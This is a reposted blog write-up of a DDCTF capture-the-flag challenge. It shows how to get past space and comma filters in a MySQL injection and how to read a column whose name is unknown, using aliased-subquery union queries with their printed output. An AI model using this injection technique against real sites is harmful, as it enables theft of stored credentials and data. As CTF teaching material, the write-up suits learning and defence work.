How to bypass unknown field names in MySQL
|
Preface This article introduces the fifth question of DDCTF, the technique of bypassing unknown field names. Here I use the local machine to operate it. The idea is great and clear. Share it with everyone. Let's take a look at the detailed introduction: Implementation ideas The question filters spaces and commas. Spaces can be bypassed using %0a, %0b, %0c, %0d, %a0, or parentheses directly. Commas can be bypassed using join. The field name storing the flag is unknown, and information_schema.columns also filters the hex of the table name, that is, the field name cannot be obtained; in this case, a joint query can be used, and the process is as follows: The idea is to get the flag and make it appear under a known field name; Sample code: mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | [email protected] | | 2 | test | test123 | [email protected] | | 3 | cs | cs123 | [email protected] | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | [email protected] | | [email protected] | | [email protected] | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | [email protected] | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | [email protected] | | [email protected] | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec) Summarize The above is the full content of this article. I hope that the content of this article can bring some help to your study or work. If you have any questions, you can leave a message to communicate. Thank you for your support of 123WORDPRESS.COM. You may also be interested in:
|
<<: Tomcat obtains the client domain name of Nginx reverse proxy
>>: How to reduce image size using Docker multi-stage build
Recommend
How to install openssh from source code in centos 7
Environment: CentOS 7.1.1503 Minimum Installation...
In-depth analysis of MySQL indexes
Preface We know that index selection is the work ...
How to determine if the Linux system is installed on VMware
How to determine whether the current Linux system...
JavaScript singleton mode to implement custom pop-up box
This article shares the specific code of JavaScri...
Example code for hiding element scrollbars using CSS
How can I hide the scrollbars while still being a...
Vue axios interceptor commonly used repeated request cancellation
introduction The previous article introduced the ...
Detailed explanation of the top ten commonly used string functions in MySQL
Hello everyone! I am Mr. Tony who only talks abou...
MySQL data aggregation and grouping
We often need to summarize data without actually ...
Detailed explanation of the use of MySQL comparison operator regular expression matching REGEXP
1. Initialize data DROP TABLE IF EXISTS `test_01`...
MySQL 8.0.19 supports locking an account after entering an incorrect password three times (example)
MySQL 8.0.19 supports locking the account after e...
SSH port forwarding, local port forwarding, remote port forwarding, dynamic port forwarding details
Part 1 Overview of SSH Port Forwarding When you a...
Detailed explanation of the new array methods in JavaScript es6
Table of contents 1. forEach() 2. arr.filter() 3....
Linux installation apache server configuration process
Prepare the bags Install Check if Apache is alrea...
Mini Program to implement Token generation and verification
Table of contents process Demo Mini Program Backe...
MySQL essential basics: grouping function, aggregate function, grouping query detailed explanation
Table of contents 1. Simple to use 2. Use DISTINC...